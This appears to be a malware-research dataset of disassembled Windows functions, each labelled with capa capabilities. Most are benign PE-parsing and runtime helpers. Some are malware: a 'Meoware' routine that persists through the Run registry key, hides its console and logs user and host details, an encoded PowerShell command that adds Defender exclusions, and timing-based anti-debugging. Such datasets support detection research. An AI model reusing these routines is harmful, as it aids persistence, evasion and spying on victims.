joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180128cb0
Capabilities:
Read file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0xc0]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x50], xmm4
xor eax, eax
mov qword [rbp - 0x40], rax
mov rsi, rdx
mov edi, r8d
mov rbx, r9
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x48], rcx
lea rdx, [rbp - 0x40]
cmp dword [rcx], ecx
call fcn.18011d880
nop
mov qword [rbp - 0x50], rbx
mov rcx, qword [rbp - 0x48]
mov r14, qword [rcx + 8]
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov r15, qword [rbp + 0x30]
mov qword [rsp + 0x20], r15
mov rcx, r14
mov qword [rbp - 0x5c], rcx
mov rdx, rsi
mov qword [rbp - 0x64], rdx
mov r8d, edi
mov dword [rbp - 0x54], r8d
mov r9, rbx
mov qword [rbp - 0x6c], r9
lea rcx, [rbp - 0x98]
call fcn.180002f70
mov rcx, qword [rbp - 0x5c]
mov rdx, qword [rbp - 0x64]
mov r8d, dword [rbp - 0x54]
mov r9, qword [rbp - 0x6c]
call sub.KERNEL32.dll_ReadFile
mov ebx, eax
lea rcx, [rbp - 0x98]
call fcn.180002fc0
call sub.KERNEL32.dll_GetLastError
mov esi, eax
xor ecx, ecx
mov qword [rbp - 0x50], rcx
cmp byte [rbp - 0x40], 0
je 0x180128d7f
mov rcx, qword [rbp - 0x48]
cmp byte [rcx], cl
xor edx, edx
call fcn.18011d8c0
call fcn.18000203e
mov dword [rax + 0xa0], esi
mov eax, ebx
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x180129480
Capabilities:
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0xb0]
xor eax, eax
mov qword [rbp - 0x40], rax
mov rbx, rcx
mov rsi, rdx
mov edi, r8d
mov qword [rbp - 0x40], r9
mov r14, r9
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov r15, qword [rbp + 0x30]
mov qword [rsp + 0x20], r15
mov rcx, rbx
mov qword [rbp - 0x4c], rcx
mov rdx, rsi
mov qword [rbp - 0x54], rdx
mov r8d, edi
mov dword [rbp - 0x44], r8d
mov r9, r14
mov qword [rbp - 0x5c], r9
lea rcx, [rbp - 0x88]
call fcn.180002f70
mov rcx, qword [rbp - 0x4c]
mov rdx, qword [rbp - 0x54]
mov r8d, dword [rbp - 0x44]
mov r9, qword [rbp - 0x5c]
call sub.KERNEL32.dll_WriteFile
mov ebx, eax
lea rcx, [rbp - 0x88]
call fcn.180002fc0
call sub.KERNEL32.dll_GetLastError
mov esi, eax
xor eax, eax
mov qword [rbp - 0x40], rax
call fcn.18000203e
mov dword [rax + 0xa0], esi
mov eax, ebx
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000ba90]
mov dword [rax], 1
mov rax, qword [0x14000baa0]
mov dword [rax], 1
mov rax, qword [0x14000bab0]
mov dword [rax], 1
mov rax, qword [0x14000ba40]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016fd
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140001746
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1f0], rcx
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rbp + 0x1d8], rax
lea rax, str.Meoware
mov qword [rbp + 0x1d0], rax
mov rcx, qword [rbp + 0x1f0]
lea rax, [rbp - 0x50]
lea rdx, str.Meoware.exe
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call dbg.snprintf
lea rax, [rbp + 0xc0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0xc0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov rax, qword [rbp + 0x1d8]
lea rdx, [rbp + 0x1c8]
mov qword [rsp + 0x20], rdx
mov r9d, 0x20006
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x14000186d
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
lea ecx, [rax + 1]
mov rax, qword [rbp + 0x1c8]
mov rdx, qword [rbp + 0x1d0]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
nop
add rsp, 0x260
pop rbp
ret
Function at 0x140001d0d
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, [0x14000b07f]
mov rdx, rax
lea rax, [0x14000f040]
mov rcx, rax
call sym.fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001d52
lea rax, str.Failed_to_open_log_file
mov rcx, rax
call sym.perror
mov ecx, 1
call sym.exit
mov rax, qword [rbp - 8]
mov r9, rax
mov r8d, 0x25
mov edx, 1
lea rax, str._n__________session_started___________n
mov rcx, rax
call sym.fwrite
lea rax, str.COMPUTERNAME
mov rcx, rax
call sym.getenv
mov rdx, rax
mov rax, qword [rbp - 8]
mov r8, rdx
lea rdx, str.Computer_Name:__s_n
mov rcx, rax
call dbg.fprintf
mov rax, qword [rbp - 8]
mov r9, rax
mov r8d, 0xc
mov edx, 1
lea rax, str.OS:_Windows_n
mov rcx, rax
call sym.fwrite
lea rax, str.USERNAME
mov rcx, rax
call sym.getenv
mov rdx, rax
mov rax, qword [rbp - 8]
mov r8, rdx
lea rdx, str.User:__s_n
mov rcx, rax
call dbg.fprintf
mov rax, qword [rbp - 8]
lea r8, str.Nov_11_2024
lea rdx, str.Date:__s_n
mov rcx, rax
call dbg.fprintf
mov rax, qword [rbp - 8]
lea r8, str.20:02:37
lea rdx, str.Time:__s_n
mov rcx, rax
call dbg.fprintf
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fclose
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140001e2b
Capabilities:
Get common file path
Query environment variable

Disassembly:
push rbp
sub rsp, 0x140
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, str.COMPUTERNAME
mov rcx, rax
call sym.getenv
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9, rdx
lea r8, str._smeow__s.log
mov edx, 0x104
lea rax, [0x14000f040]
mov rcx, rax
call dbg.snprintf
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.addToRegistry
call dbg.hideConsole
call dbg.writeStartupInfo
call dbg.startLogging
mov eax, 0
add rsp, 0x140
pop rbp
ret

Function at 0x140002480
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x140003152
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000f228]
test eax, eax
je 0x1400031ea
lea rax, [0x14000f200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000f230]
mov qword [rbp - 8], rax
jmp 0x1400031ce
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400031c2
cmp qword [rbp - 0x10], 0
je 0x1400031c2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140003188
lea rax, [0x14000f200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400031eb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400032f0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140003318
mov eax, 0
jmp 0x140003366
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140003341
mov eax, 0
jmp 0x140003366
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140003361
mov eax, 0
jmp 0x140003366
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14000336c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400033ea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400033e1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400033e1
mov rax, qword [rbp - 8]
jmp 0x1400033ff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400033b4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x3a3c613a0
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov edx, 0
lea rax, str.C:Windows_system32WindowsPowerShell_v1.0powershell.exe__Encoded_QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAJABlAG4AdgA6AEEATABMAFUAUwBFAFIAUwBQAFIATwBGAEkATABFAFwAIgAsACIAJABlAG4AdgA6AEEATABMAFUAUwBFAFIAUwBQAFIATwBGAEkATABFACIALAAiACQAZQBuAHYAOgBBAEwATABVAFMARQBSAFMAUABSAE8ARgBJAEwARQBcAEIAYQB0AHQAbABlAE4AZQB0AFIAZQBwAG8AcgB0AGUAcgAuAGUAeABlACIALAAiACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQAiACwAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAiACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAIgBCAGEAdAB0AGwAZQBOAGUAdABSAGUAcABvAHIAdABlAHIALgBlAHgAZQAiACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACIALgBkAGwAbAAiACwAIgAuAGMAbwBtACIALAAiAC4AYgBhAHQAIgAsACIALgBlAHgAZQAiADsAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUABVAEEAUAByAG8AdABlAGMAdABpAG8AbgAgADEAOwA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x3a3c61610
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]

Function at 0x3a3c61680
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x3a3c69064]
mov r12, rcx
test ebx, ebx
jle 0x3a3c617b0
mov rax, qword [0x3a3c69068]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x3a3c616cb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x3a3c61755
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x3a3c616b0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x3a3c617d2
mov rax, qword [0x3a3c69068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x3a3c69068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3a3c617b7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3a3c6174e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3a3c61760
add dword [0x3a3c69064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x3a3c69068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3a3c6174e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x3a3c616d8
mov rax, qword [0x3a3c69068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3a3c61b30
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x3a3c690a0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3a3c69080]
test rbx, rbx
je 0x3a3c61b8c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x3a3c61b83
test r12, r12
je 0x3a3c61b83
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3a3c61b68
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x3a3c61dc0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x3a3c61dd8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x3a3c61de0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x3a3c61df0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x3a3c61e35
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x3a3c61e2c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x3a3c61e37
add rax, 0x28
cmp rax, r9
jne 0x3a3c61e18
xor eax, eax
ret

Function at 0x3a3c61e40
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x3a3c61ed0
mov rdx, qword [0x3a3c65df0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x3a3c61ebe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x3a3c61ebe
cmp word [rax + 0x18], 0x20b
jne 0x3a3c61ebe
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x3a3c61ed0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x3a3c61ea9
add r12, 0x28
cmp r12, rsi
je 0x3a3c61ed0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x3a3c61ea0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x3a3c61ee0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3a3c65df0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3a3c61f00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3a3c61f08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3a3c61f00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x3a3c61f55
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3a3c61f4c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3a3c61f00
add rax, 0x28
cmp rax, r9
jne 0x3a3c61f38
xor eax, eax
ret

Function at 0x3a3c61f60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3a3c65df0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3a3c61f80
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3a3c61f88
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x3a3c61f80
movzx r8d, word [rax + 6]
mov eax, r8d
ret
Function at 0x3a3c61fa0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x3a3c65df0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x3a3c61fc0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x3a3c61fc8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x3a3c61fc0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x3a3c62008
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x3a3c61fff
test rcx, rcx
je 0x3a3c61fc0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x3a3c61ff0
xor eax, eax
ret

Function at 0x3a3c62010
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3a3c65df0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3a3c62030
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x3a3c62038
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x3a3c62050
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3a3c65df0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3a3c62070
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3a3c62078
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3a3c62070
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x3a3c62070
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x3a3c620bc
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x3a3c620d0
add rdx, 0x28
cmp rdx, r9
jne 0x3a3c620a8
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x3a3c620e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x3a3c65df0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x3a3c62102
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x3a3c62110
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3a3c62102
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x3a3c62102
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x3a3c62102
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x3a3c6215d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x3a3c62170
add rdx, 0x28
cmp r10, rdx
jne 0x3a3c62148
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x3a3c6217f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x3a3c6218f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x3a3c62166
test ecx, ecx
jg 0x3a3c62178
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14000113a
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
nop
cpuid
nop
mov eax, 1
nop
cpuid
nop
movabs r9, 0xb2d05e00
nop
cpuid
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
mov rcx, rax
nop
fldpi
nop
frndint
nop
rdtsc
nop
shl rdx, 0x20
nop
or rax, rdx
nop
sub rax, rcx
nop
cmp rax, r9
nop
jb 0x140001167
nop
nop
push rbp
nop
mov rbp, rsp
nop
sub rsp, 8
nop
mov r10, 0xa
nop
mov rcx, 0xffffffff9f345678
nop
dec rcx
nop
xor r9, r9
nop
mov rax, rcx
nop
jne 0x1400011a0
nop
xor rax, rax
nop
mov rax, rbx
nop
add rax, rdx
nop
dec r10
nop
xor r11, r11
nop
jne 0x140001197
nop
xor rax, rax
mov rax, 0xa
nop
dec rax
nop
add rsp, 8
pop rbp
ret

Function at 0x140003000
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
cmp dword [0x140022758], 0
jne 0x14000317d
mov rcx, qword [0x140022760]
test rcx, rcx
jne 0x140003184
lea rcx, str.DLTrcTool.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
mov qword [0x140022760], rax
test rax, rax
jne 0x140003052
test rax, rax
mov dword [0x140022758], 1
setne al
add rsp, 0x28
ret
lea rdx, str.DLTrcInit
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140022760]
lea rdx, str.DLTrcExit
mov qword [0x140022768], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140022760]
lea rdx, str.DLTrcPrintText
mov qword [0x140022770], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140022760]
lea rdx, str.DLTrcPrintBuffer
mov qword [0x140022778], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140022760]
lea rdx, str.DLTrcPrintProcessData
mov qword [0x140022780], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140022760]
lea rdx, str.DLTrcGetModuleLogState
mov qword [0x140022788], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140022760]
lea rdx, str.DLTrcGetLogSettings
mov qword [0x140022790], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x140022760]
lea rdx, str.DLTrcRunConfigDialog
mov qword [0x140022798], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140022768], 0
mov qword [0x1400227a0], rax
je 0x14000316e
cmp qword [0x140022770], 0
je 0x14000316e
cmp qword [0x140022778], 0
je 0x14000316e
cmp qword [0x140022780], 0
je 0x14000316e
cmp qword [0x140022788], 0
je 0x14000316e
cmp qword [0x140022790], 0
je 0x14000316e
cmp qword [0x140022798], 0
je 0x14000316e
test rax, rax
jne 0x14000317d
call fcn.1400031a0
mov dword [0x140022758], 1
mov rcx, qword [0x140022760]
xor eax, eax
test rcx, rcx
setne al
add rsp, 0x28
ret